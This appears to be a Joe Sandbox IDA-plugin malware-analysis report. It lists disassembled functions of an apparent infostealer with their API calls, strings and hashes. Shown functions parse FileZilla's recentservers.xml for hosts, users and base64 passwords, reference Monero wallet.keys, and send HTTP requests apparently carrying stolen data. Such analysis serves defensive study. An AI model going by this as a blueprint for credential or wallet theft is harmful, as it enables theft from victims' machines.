Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91b881e467f4dbbf7f49b85f02629582a0d1464499b94c91115b9c249a729ade
Instruction ID: 0ea4152e23386bca2a606e154f38988a509aca1f68ada22d708996d688169a8d
Opcode Fuzzy Hash: 91b881e467f4dbbf7f49b85f02629582a0d1464499b94c91115b9c249a729ade
Instruction Fuzzy Hash: 7B414CF220C604FFD3042E65EC95A7AB7D5E790320F36892EEAC356A08E2394401AA53

Function 0060BCC8 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb6598a31357295bffb313a33d4555a4cd4cc89241a1e9f2e89d09b0f22e9480
Instruction ID: eab180bf08892e8709fd06bf14143259f1cedbd2860eb54cce9379aaf4e3afb7
Opcode Fuzzy Hash: cb6598a31357295bffb313a33d4555a4cd4cc89241a1e9f2e89d09b0f22e9480
Instruction Fuzzy Hash: 283123FB55C31C5FE340BDF9AC98767BAC9E710760F158639AA50C7704FAA59A004285

Function 005B34C6 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 597d33477068c160c0e94618b98f93478540c9488bc81e3bfe427863f5dc00ec
Instruction ID: 1e0762630ff2dacc87624aad443dd9fcd1e8237417371e8d876ccf125d5e0542
Opcode Fuzzy Hash: 597d33477068c160c0e94618b98f93478540c9488bc81e3bfe427863f5dc00ec
Instruction Fuzzy Hash: F53139F3A282149BF308657CDC957B6B6CADB58320F2B093DD685D7780ED79990083C6

Function 007EDE77 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bafa5544c3af82d3a8ac8f12bef0013df5d894a30b343a771bd3b884e3d0418
Instruction ID: 519f4b6211c43426bc13f263e2b7e2ee398deef80282516238c38fb569cc1c11
Opcode Fuzzy Hash: 7bafa5544c3af82d3a8ac8f12bef0013df5d894a30b343a771bd3b884e3d0418
Instruction Fuzzy Hash: 543108B290C210EFD315BF18D85166AFBE5FF58710F16482DEAD983250E7355850CA8B

Function 005A754D Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d16ac5993d935abe740afc672c82da3bddf0fde97bf337c467715f90cf96f972
Instruction ID: 2b5509369c441ff732bf69721a418d9719c31278a719b6b1dcc25d349adc41a7
Opcode Fuzzy Hash: d16ac5993d935abe740afc672c82da3bddf0fde97bf337c467715f90cf96f972
Instruction Fuzzy Hash: 4FE086B214930CCFD3407851EC8C7BBB79CE755731E948469AB5142644FE742608516A

Function 00359750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00350250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Part of subcall function 00358DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00358E0B

Part of subcall function 0035A920: lstrcpy.KERNEL32(00000000,?), ref: 0035A972
Part of subcall function 0035A920: lstrcat.KERNEL32(00000000), ref: 0035A982

Part of subcall function 0035A8A0: lstrcpy.KERNEL32(?,00360E17), ref: 0035A905

Part of subcall function 0035A9B0: lstrlen.KERNEL32(?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 0035A9C5
Part of subcall function 0035A9B0: lstrcpy.KERNEL32(00000000), ref: 0035AA04
Part of subcall function 0035A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0035AA12

Part of subcall function 0035A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0035A7E6

Part of subcall function 003499C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003499EC
Part of subcall function 003499C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00349A11
Part of subcall function 003499C0: LocalAlloc.KERNEL32(00000040,?), ref: 00349A31
Part of subcall function 003499C0: ReadFile.KERNEL32(000000FF,?,00000000,0034148F,00000000), ref: 00349A5A
Part of subcall function 003499C0: LocalFree.KERNEL32(0034148F), ref: 00349A90
Part of subcall function 003499C0: CloseHandle.KERNEL32(000000FF), ref: 00349A9A

Part of subcall function 00358E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00358E52

GetProcessHeap.KERNEL32(00000000,000F423F,00360DBA,00360DB7,00360DB6,00360DB3), ref: 00350362
RtlAllocateHeap.NTDLL(00000000), ref: 00350369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00350385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00360DB2), ref: 00350393
StrStrA.SHLWAPI(00000000,<Port>), ref: 003503CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00360DB2), ref: 003503DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00350419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00360DB2), ref: 00350427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00350463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00360DB2), ref: 00350475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00360DB2), ref: 00350502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00360DB2), ref: 0035051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00360DB2), ref: 00350532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00360DB2), ref: 0035054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00350562
lstrcat.KERNEL32(?,profile: null), ref: 00350571
lstrcat.KERNEL32(?,url: ), ref: 00350580
lstrcat.KERNEL32(?,00000000), ref: 00350593
lstrcat.KERNEL32(?,00361678), ref: 003505A2
lstrcat.KERNEL32(?,00000000), ref: 003505B5
lstrcat.KERNEL32(?,0036167C), ref: 003505C4
lstrcat.KERNEL32(?,login: ), ref: 003505D3
lstrcat.KERNEL32(?,00000000), ref: 003505E6
lstrcat.KERNEL32(?,00361688), ref: 003505F5
lstrcat.KERNEL32(?,password: ), ref: 00350604
lstrcat.KERNEL32(?,00000000), ref: 00350617
lstrcat.KERNEL32(?,00361698), ref: 00350626
lstrcat.KERNEL32(?,0036169C), ref: 00350635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00360DB2), ref: 0035068E

Strings

<Port>, xrefs: 003503C6
url: , xrefs: 00350577
browser: FileZilla, xrefs: 00350559
profile: null, xrefs: 00350568
<User>, xrefs: 00350410
password: , xrefs: 003505FB
login: , xrefs: 003505CA
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 003502A4
<Host>, xrefs: 0035037C
<Pass encoding="base64">, xrefs: 0035045A

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 995d46156f57353530ff645d42cd86d1f2751c67244f6dd0f93b5baa951062f6
Instruction ID: 664056df823ffb48b4b0c01792bbb7c7be16291cea870dfac9cca5e2776ad156
Opcode Fuzzy Hash: 995d46156f57353530ff645d42cd86d1f2751c67244f6dd0f93b5baa951062f6
Instruction Fuzzy Hash: 87D131719002089BDB06EBE0DD96DEE7778FF14301F448519F902BA0A5EF74AA0DEB61

Function 00345960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0035A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0035A7E6

Part of subcall function 003447B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00344839
Part of subcall function 003447B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00344849

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 003459F8
StrCmpCA.SHLWAPI(?,00FBE858), ref: 00345A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00345B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00FBE798,00000000,?,00FAFB60,00000000,?,00361A1C), ref: 00345E71
lstrlen.KERNEL32(00000000), ref: 00345E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00345E93
RtlAllocateHeap.NTDLL(00000000), ref: 00345E9A
lstrlen.KERNEL32(00000000), ref: 00345EAF
lstrlen.KERNEL32(00000000), ref: 00345ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00345EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00345F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00345F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00345F4C
InternetCloseHandle.WININET(00000000), ref: 00345FB0
InternetCloseHandle.WININET(00000000), ref: 00345FBD
HttpOpenRequestA.WININET(00000000,00FBE808,?,00FBE2E0,00000000,00000000,00400100,00000000), ref: 00345BF8

Part of subcall function 0035A9B0: lstrlen.KERNEL32(?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 0035A9C5
Part of subcall function 0035A9B0: lstrcpy.KERNEL32(00000000), ref: 0035AA04
Part of subcall function 0035A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0035AA12

Part of subcall function 0035A8A0: lstrcpy.KERNEL32(?,00360E17), ref: 0035A905

Part of subcall function 0035A920: lstrcpy.KERNEL32(00000000,?), ref: 0035A972
Part of subcall function 0035A920: lstrcat.KERNEL32(00000000), ref: 0035A982

InternetCloseHandle.WININET(00000000), ref: 00345FC7

Strings

", xrefs: 00345CD5
------, xrefs: 00345A96
------, xrefs: 00345C0B
", xrefs: 00345E16
------, xrefs: 00345D4C

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: c08a75fcc30be063f052392fbf1c84ee5875444a92963a02c4f52b19eb09fbf3
Instruction ID: b07b1f13b46d0ae598d61572f70002a52ef668b028f3cd5fb0125ed9451f6651
Opcode Fuzzy Hash: c08a75fcc30be063f052392fbf1c84ee5875444a92963a02c4f52b19eb09fbf3
Instruction Fuzzy Hash: C6122371820518ABDB16EBA0DC95FEE7778BF14701F404259F9067A0A1EF702A4DEF61

Function 0034CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Part of subcall function 0035A9B0: lstrlen.KERNEL32(?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 0035A9C5
Part of subcall function 0035A9B0: lstrcpy.KERNEL32(00000000), ref: 0035AA04
Part of subcall function 0035A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0035AA12

Part of subcall function 0035A8A0: lstrcpy.KERNEL32(?,00360E17), ref: 0035A905

Part of subcall function 00358B60: GetSystemTime.KERNEL32(00360E1A,00FAF740,003605AE,?,?,003413F9,?,0000001A,00360E1A,00000000,?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 00358B86

Part of subcall function 0035A920: lstrcpy.KERNEL32(00000000,?), ref: 0035A972
Part of subcall function 0035A920: lstrcat.KERNEL32(00000000), ref: 0035A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0034CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0034D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0034D0CE
lstrcat.KERNEL32(?,00000000), ref: 0034D208
lstrcat.KERNEL32(?,00361478), ref: 0034D217
lstrcat.KERNEL32(?,00000000), ref: 0034D22A
lstrcat.KERNEL32(?,0036147C), ref: 0034D239
lstrcat.KERNEL32(?,00000000), ref: 0034D24C
lstrcat.KERNEL32(?,00361480), ref: 0034D25B
lstrcat.KERNEL32(?,00000000), ref: 0034D26E
lstrcat.KERNEL32(?,00361484), ref: 0034D27D
lstrcat.KERNEL32(?,00000000), ref: 0034D290
lstrcat.KERNEL32(?,00361488), ref: 0034D29F
lstrcat.KERNEL32(?,00000000), ref: 0034D2B2
lstrcat.KERNEL32(?,0036148C), ref: 0034D2C1
lstrcat.KERNEL32(?,00000000), ref: 0034D2D4
lstrcat.KERNEL32(?,00361490), ref: 0034D2E3

Part of subcall function 0035A820: lstrlen.KERNEL32(00344F05,?,?,00344F05,00360DDE), ref: 0035A82B
Part of subcall function 0035A820: lstrcpy.KERNEL32(00360DDE,00000000), ref: 0035A885

lstrlen.KERNEL32(?), ref: 0034D32A
lstrlen.KERNEL32(?), ref: 0034D339

Part of subcall function 0035AA70: StrCmpCA.SHLWAPI(00FB9918,0034A7A7,?,0034A7A7,00FB9918), ref: 0035AA8F

DeleteFileA.KERNEL32(00000000), ref: 0034D3B4

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 98fd154c3290806baf3ecfb263412e2c641a2a631e9a95af4a1e7e5185117c18
Instruction ID: 6cc70c54176aee171ee1e01ad9cdcad9908209247e721559581d962d8a02548d
Opcode Fuzzy Hash: 98fd154c3290806baf3ecfb263412e2c641a2a631e9a95af4a1e7e5185117c18
Instruction Fuzzy Hash: 95E123719105089BDB06EBA0DD96EEE7778BF14301F104255F907BB0A1EF35AA0DEB62

Function 0034C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Part of subcall function 0035A920: lstrcpy.KERNEL32(00000000,?), ref: 0035A972
Part of subcall function 0035A920: lstrcat.KERNEL32(00000000), ref: 0035A982

Part of subcall function 0035A8A0: lstrcpy.KERNEL32(?,00360E17), ref: 0035A905

Part of subcall function 0035A9B0: lstrlen.KERNEL32(?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 0035A9C5
Part of subcall function 0035A9B0: lstrcpy.KERNEL32(00000000), ref: 0035AA04
Part of subcall function 0035A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0035AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00FBD378,00000000,?,0036144C,00000000,?,?), ref: 0034CA6C
